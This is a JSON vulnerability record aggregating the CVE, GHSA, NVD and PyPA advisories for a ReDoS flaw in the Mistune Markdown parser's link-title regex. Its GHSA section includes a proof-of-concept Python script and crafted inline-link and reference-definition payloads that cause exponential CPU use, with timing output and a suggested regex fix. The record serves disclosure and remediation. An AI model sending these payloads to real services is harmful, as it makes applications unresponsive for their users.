{"id":"CVE-2026-33079","aliases":["CVE-2026-33079","GHSA-8mp2-v27r-99xp","PYSEC-2026-2651"],"related":[],"kind":"vulnerability","state":"published","title":"Mistune ReDoS in LINK_TITLE_RE allows denial of service with crafted Markdown titles","summary":"In versions 3.0.0a1 through 3.2.0 of Mistune, there is a ReDoS (Regular Expression Denial of Service) vulnerability in `LINK_TITLE_RE` that allows an attacker who can supply Markdown for parsing to cause denial of service. The regular expression used for parsing link titles contains overlapping alternatives that can trigger catastrophic backtracking. In both the double-quoted and single-quoted branches, a backslash followed by punctuation can be matched either as an escaped punctuation sequence or as two ordinary characters, creating an ambiguous pattern inside a repeated group. If an attacker supplies Markdown containing repeated ! sequences with no closing quote, the regex engine explores an exponential number of backtracking paths. This is reachable through normal Markdown parsing of inline links and block link reference definitions. A small crafted input can therefore cause significant CPU consumption and make applications using Mistune unresponsive.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"In versions 3.0.0a1 through 3.2.0 of Mistune, there is a ReDoS (Regular Expression Denial of Service) vulnerability in `LINK_TITLE_RE` that allows an attacker who can supply Markdown for parsing to cause denial of service. The regular expression used for parsing link titles contains overlapping alternatives that can trigger catastrophic backtracking. In both the double-quoted and single-quoted branches, a backslash followed by punctuation can be matched either as an escaped punctuation sequence or as two ordinary characters, creating an ambiguous pattern inside a repeated group. If an attacker supplies Markdown containing repeated ! sequences with no closing quote, the regex engine explores an exponential number of backtracking paths. This is reachable through normal Markdown parsing of inline links and block link reference definitions. A small crafted input can therefore cause significant CPU consumption and make applications using Mistune unresponsive.","source":"cvelist"},{"lang":"en","text":"### Summary\n\nA ReDoS (Regular Expression Denial of Service) vulnerability in `LINK_TITLE_RE` allows an attacker who can supply Markdown for parsing to cause denial of service. A crafted 58-byte Markdown document blocks the parser for approximately 6 seconds (measured on Apple M2, Python 3.14.3), with exponential growth per additional byte pair.\n\n### Details\n\nThe vulnerable regex is defined in [`src/mistune/helpers.py#L20-L25`](https://github.com/lepture/mistune/blob/df23edd60b43b639d2e6760ef9dd3d618aa11c21/src/mistune/helpers.py#L20-L25):\n\n```python\nLINK_TITLE_RE = re.compile(\n    r\"[ \\t\\n]+(\"\n    r'\"(?:\\\\' + PUNCTUATION + r'|[^\"\\x00])*\"|'  # \"title\"\n    r\"'(?:\\\\\" + PUNCTUATION + r\"|[^'\\x00])*'\"   # 'title'\n    r\")\"\n)\n```\n\nThe double-quote branch compiles to `\"(?:\\\\[PUNCTUATION]|[^\"\\x00])*\"`. The two alternatives inside `(A|B)*` overlap: a backslash followed by a punctuation character (e.g. `\\!`) can be matched by **either** branch — as a 2-character escaped-punctuation sequence `\\\\!`, or as two individual `[^\"\\x00]` characters (`\\` then `!`). The same ambiguity exists in the single-quoted title branch.\n\nWhen the input contains repeated `\\!` pairs with no closing `\"`, the regex engine exhaustively backtracks through all 2^N combinations, resulting in **exponential O(2^N) time complexity**.\n\nThis is reachable through normal Markdown parsing via two code paths:\n1. **Inline links**: `[text](url \"PAYLOAD)` → [`parse_link()`](https://github.com/lepture/mistune/blob/df23edd60b43b639d2e6760ef9dd3d618aa11c21/src/mistune/helpers.py#L178) → [`parse_link_title()`](https://github.com/lepture/mistune/blob/df23edd60b43b639d2e6760ef9dd3d618aa11c21/src/mistune/helpers.py#L169)\n2. **Block link reference definitions**: `[label]: url \"PAYLOAD` → [`BlockParser.parse_ref_link()`](https://github.com/lepture/mistune/blob/df23edd60b43b639d2e6760ef9dd3d618aa11c21/src/mistune/block_parser.py#L220) → [`parse_link_title()`](https://github.com/lepture/mistune/blob/df23edd60b43b639d2e6760ef9dd3d618aa11c21/src/mistune/helpers.py#L169) at [block_parser.py#L259](https://github.com/lepture/mistune/blob/df23edd60b43b639d2e6760ef9dd3d618aa11c21/src/mistune/block_parser.py#L259)\n\n### PoC\n\n```python\nimport mistune\nimport time\n\nmd = mistune.create_markdown()\n\n# Test with increasing N (number of \\! pairs)\nfor n in [15, 18, 20, 22, 25]:\n    payload = '[x](y \"' + '\\\\!' * n + ')'\n    start = time.time()\n    md(payload)\n    elapsed = time.time() - start\n    print(f\"N={n:2d}  len={len(payload):3d} bytes  time={elapsed:.3f}s\")\n```\n\nOutput (Apple M2, Python 3.14.3, mistune 3.2.0):\n\n```\nN=15  len= 38 bytes  time=0.007s\nN=18  len= 44 bytes  time=0.044s\nN=20  len= 48 bytes  time=0.178s\nN=22  len= 52 bytes  time=0.740s\nN=25  len= 58 bytes  time=5.922s\n```\n\nEach increment of N roughly doubles the execution time (consistent with O(2^N)).\n\nThe same attack works via block link reference definitions:\n\n```python\npayload = '[l]: u \"' + '\\\\!' * 25  # 58 bytes, ~6 seconds\nmd(payload)\n```\n\n### Impact\n\nThis is a denial of service vulnerability. Any application or service that parses user-supplied Markdown using mistune can be made unresponsive by an attacker submitting a small crafted input (under 100 bytes).\n\nAffected use cases include:\n- Web applications with Markdown-enabled input fields (comments, posts, descriptions)\n- Documentation systems that accept user contributions\n- API endpoints that process Markdown\n- Jupyter tooling such as nbconvert that relies on mistune for rendering\n\n### Suggested Fix\n\nExclude the backslash character from the catch-all character class to eliminate the alternation overlap:\n\n```python\n# Before (vulnerable):\nr'\"(?:\\\\' + PUNCTUATION + r'|[^\"\\x00])*\"'\nr\"'(?:\\\\\" + PUNCTUATION + r\"|[^'\\x00])*'\"\n\n# After (fixed):\nr'\"(?:\\\\' + PUNCTUATION + r'|[^\"\\\\\\x00])*\"'\nr\"'(?:\\\\\" + PUNCTUATION + r\"|[^'\\\\\\x00])*'\"\n```\n\nThis ensures a backslash can only be consumed by the escaped-punctuation branch, eliminating the ambiguity in both the double-quote and single-quote branches. Verified on mistune 3.2.0 (Apple M2, Python 3.14.3):\n- Reduces N=25 from 4.2 seconds to 0.000006 seconds (700,000x improvement)\n- Handles N=50 in 0.000008 seconds\n- Passes all existing functional tests (quoted titles, escaped quotes, escaped punctuation)","format":"markdown","source":"ghsa"},{"lang":"es","text":"En las versiones 3.0.0a1 a 3.2.0 de Mistune, existe una vulnerabilidad ReDoS (denegación de servicio por expresión regular) en LINK_TITLE_RE que permite a un atacante que puede proporcionar Markdown para su análisis causar una denegación de servicio. La expresión regular utilizada para analizar títulos de enlaces contiene alternativas superpuestas que pueden desencadenar un retroceso catastrófico. Tanto en las ramas con comillas dobles como con comillas simples, una barra invertida seguida de puntuación puede coincidir como una secuencia de puntuación escapada o como dos caracteres ordinarios, creando un patrón ambiguo dentro de un grupo repetido. Si un atacante proporciona Markdown que contiene secuencias repetidas de ! sin comilla de cierre, el motor de expresiones regulares explora un número exponencial de rutas de retroceso. Esto es alcanzable a través del análisis normal de Markdown de enlaces en línea y definiciones de referencia de enlaces de bloque. Una pequeña entrada manipulada puede, por lo tanto, causar un consumo significativo de CPU y hacer que las aplicaciones que usan Mistune no respondan.","source":"nvd"}],"published":"2026-05-06T16:52:43.000Z","modified":"2026-10-26T19:10:00.163Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","score":8.7,"rating":"HIGH"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","score":8.7,"rating":"HIGH"},{"scorer":"redhat-SADP","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":7.5,"rating":"HIGH"},{"scorer":"GitHub","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","rating":"HIGH"},{"scorer":"PyPA Advisory Database","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"}],"cwes":["CWE-1333"],"affected":[{"ranges":[{"version":">=3.0.0a1, <= 3.2.0","status":"affected"}],"vendor":"lepture","product":"mistune","source":"cvelist"},{"ranges":[{"type":"rpm","introduced":"1784109883","fixed":"*","status":"unaffected"}],"vendor":"Red Hat","product":"Red Hat Migration Toolkit for Applications 8.2","package":"mta/mta-solution-server-rhel9","cpe":"cpe:/a:redhat:migration_toolkit_applications:8.2::el9","source":"cvelist"},{"ranges":[{"type":"rpm","introduced":"1787073866","fixed":"*","status":"unaffected"}],"vendor":"Red Hat","product":"Red Hat OpenShift AI 3.4","package":"rhoai/odh-pipeline-runtime-datascience-cpu-py312-rhel9","cpe":"cpe:/a:redhat:openshift_ai:3.4::el9","source":"cvelist"},{"ranges":[{"type":"rpm","introduced":"1787073936","fixed":"*","status":"unaffected"}],"vendor":"Red Hat","product":"Red Hat OpenShift AI 3.4","package":"rhoai/odh-pipeline-runtime-minimal-cpu-py312-rhel9","cpe":"cpe:/a:redhat:openshift_ai:3.4::el9","source":"cvelist"},{"ranges":[{"type":"rpm","introduced":"1787073873","fixed":"*","status":"unaffected"}],"vendor":"Red Hat","product":"Red Hat OpenShift AI 3.4","package":"rhoai/odh-pipeline-runtime-pytorch-cuda-py312-rhel9","cpe":"cpe:/a:redhat:openshift_ai:3.4::el9","source":"cvelist"},{"ranges":[{"type":"rpm","introduced":"1787073459","fixed":"*","status":"unaffected"}],"vendor":"Red Hat","product":"Red Hat OpenShift AI 3.4","package":"rhoai/odh-pipeline-runtime-pytorch-llmcompressor-cuda-py312-rhel9","cpe":"cpe:/a:redhat:openshift_ai:3.4::el9","source":"cvelist"},{"ranges":[{"type":"rpm","introduced":"1787073611","fixed":"*","status":"unaffected"}],"vendor":"Red Hat","product":"Red Hat OpenShift AI 3.4","package":"rhoai/odh-pipeline-runtime-pytorch-rocm-py312-rhel9","cpe":"cpe:/a:redhat:openshift_ai:3.4::el9","source":"cvelist"},{"ranges":[{"type":"rpm","introduced":"1787073451","fixed":"*","status":"unaffected"}],"vendor":"Red Hat","product":"Red Hat OpenShift AI 3.4","package":"rhoai/odh-pipeline-runtime-tensorflow-cuda-py312-rhel9","cpe":"cpe:/a:redhat:openshift_ai:3.4::el9","source":"cvelist"},{"ranges":[{"type":"rpm","introduced":"1787073451","fixed":"*","status":"unaffected"}],"vendor":"Red Hat","product":"Red Hat OpenShift AI 3.4","package":"rhoai/odh-pipeline-runtime-tensorflow-rocm-py312-rhel9","cpe":"cpe:/a:redhat:openshift_ai:3.4::el9","source":"cvelist"},{"ranges":[{"type":"rpm","introduced":"1787076778","fixed":"*","status":"unaffected"}],"vendor":"Red Hat","product":"Red Hat OpenShift AI 3.4","package":"rhoai/odh-th06-cpu-torch210-py312-rhel9","cpe":"cpe:/a:redhat:openshift_ai:3.4::el9","source":"cvelist"},{"ranges":[{"type":"rpm","introduced":"1787077779","fixed":"*","status":"unaffected"}],"vendor":"Red Hat","product":"Red Hat OpenShift AI 3.4","package":"rhoai/odh-th06-cuda130-torch210-py312-rhel9","cpe":"cpe:/a:redhat:openshift_ai:3.4::el9","source":"cvelist"},{"ranges":[{"type":"rpm","introduced":"1787076481","fixed":"*","status":"unaffected"}],"vendor":"Red Hat","product":"Red Hat OpenShift AI 3.4","package":"rhoai/odh-th06-rocm64-torch291-py312-rhel9","cpe":"cpe:/a:redhat:openshift_ai:3.4::el9","source":"cvelist"},{"ranges":[{"type":"rpm","introduced":"1787074331","fixed":"*","status":"unaffected"}],"vendor":"Red Hat","product":"Red Hat OpenShift AI 3.4","package":"rhoai/odh-workbench-jupyter-datascience-cpu-py312-rhel9","cpe":"cpe:/a:redhat:openshift_ai:3.4::el9","source":"cvelist"},{"ranges":[{"type":"rpm","introduced":"1787073913","fixed":"*","status":"unaffected"}],"vendor":"Red Hat","product":"Red Hat OpenShift AI 3.4","package":"rhoai/odh-workbench-jupyter-minimal-cpu-py312-rhel9","cpe":"cpe:/a:redhat:openshift_ai:3.4::el9","source":"cvelist"},{"ranges":[{"type":"rpm","introduced":"1787074078","fixed":"*","status":"unaffected"}],"vendor":"Red Hat","product":"Red Hat OpenShift AI 3.4","package":"rhoai/odh-workbench-jupyter-minimal-cuda-py312-rhel9","cpe":"cpe:/a:redhat:openshift_ai:3.4::el9","source":"cvelist"},{"ranges":[{"type":"rpm","introduced":"1787073929","fixed":"*","status":"unaffected"}],"vendor":"Red Hat","product":"Red Hat OpenShift AI 3.4","package":"rhoai/odh-workbench-jupyter-minimal-rocm-py312-rhel9","cpe":"cpe:/a:redhat:openshift_ai:3.4::el9","source":"cvelist"},{"ranges":[{"type":"rpm","introduced":"1787073605","fixed":"*","status":"unaffected"}],"vendor":"Red Hat","product":"Red Hat OpenShift AI 3.4","package":"rhoai/odh-workbench-jupyter-pytorch-cuda-py312-rhel9","cpe":"cpe:/a:redhat:openshift_ai:3.4::el9","source":"cvelist"},{"ranges":[{"type":"rpm","introduced":"1787073546","fixed":"*","status":"unaffected"}],"vendor":"Red Hat","product":"Red Hat OpenShift AI 3.4","package":"rhoai/odh-workbench-jupyter-pytorch-rocm-py312-rhel9","cpe":"cpe:/a:redhat:openshift_ai:3.4::el9","source":"cvelist"},{"ranges":[{"type":"rpm","introduced":"1787073717","fixed":"*","status":"unaffected"}],"vendor":"Red Hat","product":"Red Hat OpenShift AI 3.4","package":"rhoai/odh-workbench-jupyter-tensorflow-cuda-py312-rhel9","cpe":"cpe:/a:redhat:openshift_ai:3.4::el9","source":"cvelist"},{"ranges":[{"type":"rpm","introduced":"1787073713","fixed":"*","status":"unaffected"}],"vendor":"Red Hat","product":"Red Hat OpenShift AI 3.4","package":"rhoai/odh-workbench-jupyter-tensorflow-rocm-py312-rhel9","cpe":"cpe:/a:redhat:openshift_ai:3.4::el9","source":"cvelist"},{"ranges":[{"type":"rpm","introduced":"1787073593","fixed":"*","status":"unaffected"}],"vendor":"Red Hat","product":"Red Hat OpenShift AI 3.4","package":"rhoai/odh-workbench-jupyter-trustyai-cpu-py312-rhel9","cpe":"cpe:/a:redhat:openshift_ai:3.4::el9","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"Red Hat OpenShift AI (RHOAI)","package":"rhoai/odh-th06-cpu-torch291-py312-rhel9","cpe":"cpe:/a:redhat:openshift_ai","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"Red Hat OpenShift AI (RHOAI)","package":"rhoai/odh-th06-cuda130-torch291-py312-rhel9","cpe":"cpe:/a:redhat:openshift_ai","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"Red Hat OpenShift AI (RHOAI)","package":"rhoai/odh-workbench-jupyter-pytorch-llmcompressor-cuda-py312-rhel9","cpe":"cpe:/a:redhat:openshift_ai","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"Red Hat Satellite 6","package":"satellite/iop-advisor-engine-rhel9","cpe":"cpe:/a:redhat:satellite:6","source":"cvelist"},{"ranges":[{"type":"ecosystem","introduced":"3.0.0a1","status":"affected","fixed":"3.2.1"}],"ecosystem":"PyPI","package":"mistune","purl":"pkg:pypi/mistune","source":"ghsa"},{"ranges":[{"type":"ecosystem","introduced":"3.0.0a1","status":"affected","fixed":"3.2.1"}],"ecosystem":"PyPI","package":"mistune","purl":"pkg:pypi/mistune","source":"pysec"}],"references":[{"url":"https://github.com/lepture/mistune/security/advisories/GHSA-8mp2-v27r-99xp","tags":["exploit","web","x-refsource-confirm"],"sources":["cvelist","ghsa","nvd","pysec"]},{"url":"https://github.com/lepture/mistune/blob/df23edd60b43b639d2e6760ef9dd3d618aa11c21/src/mistune/helpers.py#L20-L25","tags":["web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd","pysec"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-33079","tags":["vdb-entry","x-refsource-redhat"],"sources":["cvelist","nvd"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2467298","tags":["issue-tracking","x-refsource-redhat"],"sources":["cvelist","nvd"]},{"url":"https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-33079.json","tags":["x-sadp-csaf-vex"],"sources":["cvelist","nvd"]},{"url":"https://access.redhat.com/errata/RHSA-2026:43038","tags":["vendor-advisory","x-refsource-redhat"],"sources":["cvelist","nvd"]},{"url":"https://access.redhat.com/errata/RHSA-2026:60520","tags":["vendor-advisory","x-refsource-redhat"],"sources":["cvelist","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-33079","tags":["advisory"],"sources":["ghsa","pysec"]},{"url":"https://github.com/lepture/mistune","tags":["package"],"sources":["ghsa","pysec"]},{"url":"https://pypi.org/project/mistune","tags":["package"],"sources":["pysec"]},{"url":"https://github.com/advisories/GHSA-8mp2-v27r-99xp","tags":["advisory"],"sources":["pysec"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"yes","technicalImpact":"partial","date":"2026-05-06T19:02:37.046Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-33079","url":"https://www.cve.org/CVERecord?id=CVE-2026-33079","licence":"CVE Terms of Use","modified":"2026-08-28T12:04:18.949Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-8mp2-v27r-99xp","url":"https://github.com/advisories/GHSA-8mp2-v27r-99xp","licence":"CC-BY-4.0","modified":"2026-09-10T03:51:05.039Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-33079","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-33079","licence":"Public domain","modified":"2026-10-26T19:10:00.163Z"},{"source":"pysec","name":"PyPA Advisory Database","id":"PYSEC-2026-2651","url":"https://osv.dev/vulnerability/PYSEC-2026-2651","licence":"CC-BY-4.0","modified":"2026-07-13T16:31:51.187Z"}],"updatedAt":"2026-11-25T22:59:20.782Z","epss":{"score":0.00592,"percentile":0.49636,"date":"2026-12-01T12:00:22.000Z"}}